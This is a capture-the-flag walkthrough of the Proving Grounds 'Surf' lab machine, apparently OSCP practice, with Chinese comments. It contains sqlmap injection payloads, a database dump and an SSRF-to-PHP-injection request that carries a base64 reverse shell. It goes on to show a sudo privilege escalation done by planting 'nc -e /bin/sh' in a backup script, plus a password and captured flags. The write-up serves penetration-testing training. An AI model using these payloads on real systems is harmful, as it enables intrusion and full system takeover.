┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/surf]└─$ sqlmap -r sqli.txt --banner --level=3 --risk=3 -p 'filter_col' --batch
……
GET parameter 'filter_col' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 516 HTTP(s) requests:
---
Parameter: filter_col (GET) Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment) Payload: search_string=c&filter_col=id AND 7911=(SELECT (CASE WHEN (7911=7911) THEN 7911 ELSE (SELECT 6771 UNION SELECT 4630) END))-- -&order_by=asc
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: search_string=c&filter_col=id AND (SELECT 9022 FROM (SELECT(SLEEP(5)))HmQp)&order_by=asc
---
[16:36:30][INFO] the back-end DBMS is MySQL
[16:36:30][INFO] fetching banner
[16:36:30][WARNING] running in a single-thread mode. Please consider usage of option '--threads'for faster data retrieval
[16:36:30][INFO] retrieved: 10.3.31-MariaDB-0+deb10u1
web server operating system: Linux Debian 10(buster)web application technology: Apache 2.4.38
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)banner: '10.3.31-MariaDB-0+deb10u1'[16:37:10][INFO] fetched data logged to text files under '/home/xavier/.local/share/sqlmap/output/192.168.162.171'[*] ending @ 16:37:10 /2023-12-03/
# 写shell失败┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/surf]└─$ sqlmap -r sqli.txt --level=3 --risk=3 -p 'filter_col' --batch --os-shell
# 获取数据┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/surf]└─$ sqlmap -r sqli.txt --level=3 --risk=3 -p 'filter_col' --batch --dump
……
Database: corephpadmin
Table: admin_accounts
[1 entry]+----+-----------+---------+--------------------------------------------------------------+-----------+------------+----------------+
| id | series_id | expires | password | user_name | admin_type | remember_token |+----+-----------+---------+--------------------------------------------------------------+-----------+------------+----------------+
|11| NULL | NULL |$2y$10$7y1lSqjchay03PgTMMW6a.wtR9CosWV4tLSaycUhcXQLvT.PJtiLm | james | super | NULL |+----+-----------+---------+--------------------------------------------------------------+-----------+------------+----------------+
……
POST/administration/checkserver.phpHTTP/1.1Host:192.168.162.171User-Agent:Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:gzip, deflateContent-Type:application/x-www-form-urlencodedContent-Length:229Origin:http://192.168.162.171Connection:closeReferer:http://192.168.162.171/administration/checkserver.phpCookie:auth_status=eydzdWNjZXNzJzondHJ1ZSd9; PHPSESSID=2uojiamq1deog17k1vbe1t5p1sUpgrade-Insecure-Requests:1url=http%3A%2F%2F127.0.0.1%3A8080//infusions/downloads/downloads.php?cat_id=$%5C%7Bsystem(base64_decode(cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE5Mi4xNjguNDUuMTk3Iiw5MDAyKTtleGVjKCIvYmluL2Jhc2ggLWkgPCY0ID4mNCAyPiY0Iik7JyAg)).exit%5C%7D
问题是shell一连上就直接断了
1
2
3
4
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/surf]└─$ nc -nlvp 9002listening on [any]9002 ...
connect to [192.168.45.197] from (UNKNOWN)[192.168.162.171]34322
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/surf]└─$ nc -nlvp 80listening on [any]80 ...
connect to [192.168.45.197] from (UNKNOWN)[192.168.162.171]54366id
uid=33(www-data)gid=33(www-data)groups=33(www-data)ls /home/
james
ls /home/james/
local.txt
cat /home/james/local.txt
a4e66109b23dd0df9165c992668efe14
python3 -c 'import pty;pty.spawn("/bin/bash")';www-data@Surf:/var/www/html/infusions/downloads$
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/surf]└─$ sshpass -p 'FlyToTheMoon213!' ssh james@192.168.162.171
Linux Surf 4.19.0-18-amd64 #1 SMP Debian 4.19.208-1 (2021-09-29) x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
$ id
uid=1000(james)gid=1000(james)groups=1000(james)$ python3 -c 'import pty;pty.spawn("/bin/bash")';james@Surf:~$ ls
local.txt
james@Surf:~$ cat local.txt
a4e66109b23dd0df9165c992668efe14
james@Surf:~$
查看sudo权限
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
james@Surf:~$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.#2) Think before you type.#3) With great power comes great responsibility.[sudo] password for james:
Matching Defaults entries for james on Surf:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User james may run the following commands on Surf:
(ALL) /usr/bin/php /var/backups/database-backup.php
james@Surf:~$ ls -al /var/backups/database-backup.php
-rwxr-xr-x 1 www-data www-data 2758 Nov 92021 /var/backups/database-backup.php
james@Surf:~$
有思路了,修改PHP文件,sudo执行反弹shell
切换2个用户太麻烦了,主要是nc的shell不方便修改文件,干脆直接修改权限为777
1
2
3
www-data@Surf:/var/backups$ chmod 777 database-backup.php
www-data@Surf:/var/backups$ ls -l database-backup.php
-rwxrwxrwx 1 www-data www-data 2829 Dec 3 06:07 database-backup.php
试了下写在文件末尾不行,只能写在前面。
1
2
3
4
5
6
7
8
9
10
11
12
13
james@Surf:~$ vi /var/backups/database-backup.php
james@Surf:~$
james@Surf:~$ head /var/backups/database-backup.php
<?php
/**
* Updated: Mohammad M. AlBanna
* Website: MBanna.info
*/
system("nc 192.168.45.197 9000 -e /bin/sh");james@Surf:~$ sudo /usr/bin/php /var/backups/database-backup.php
1
2
3
4
5
6
7
8
9
10
┌──(xavier㉿kali)-[~/Desktop/OSCP/PG_Practice/surf]└─$ nc -nlvp 9000listening on [any]9000 ...
connect to [192.168.45.197] from (UNKNOWN)[192.168.162.171]33036id
uid=0(root)gid=0(root)groups=0(root)ls /root/
proof.txt
cat /root/proof.txt
e58a15c56a6f26de90c3393c15f0bc20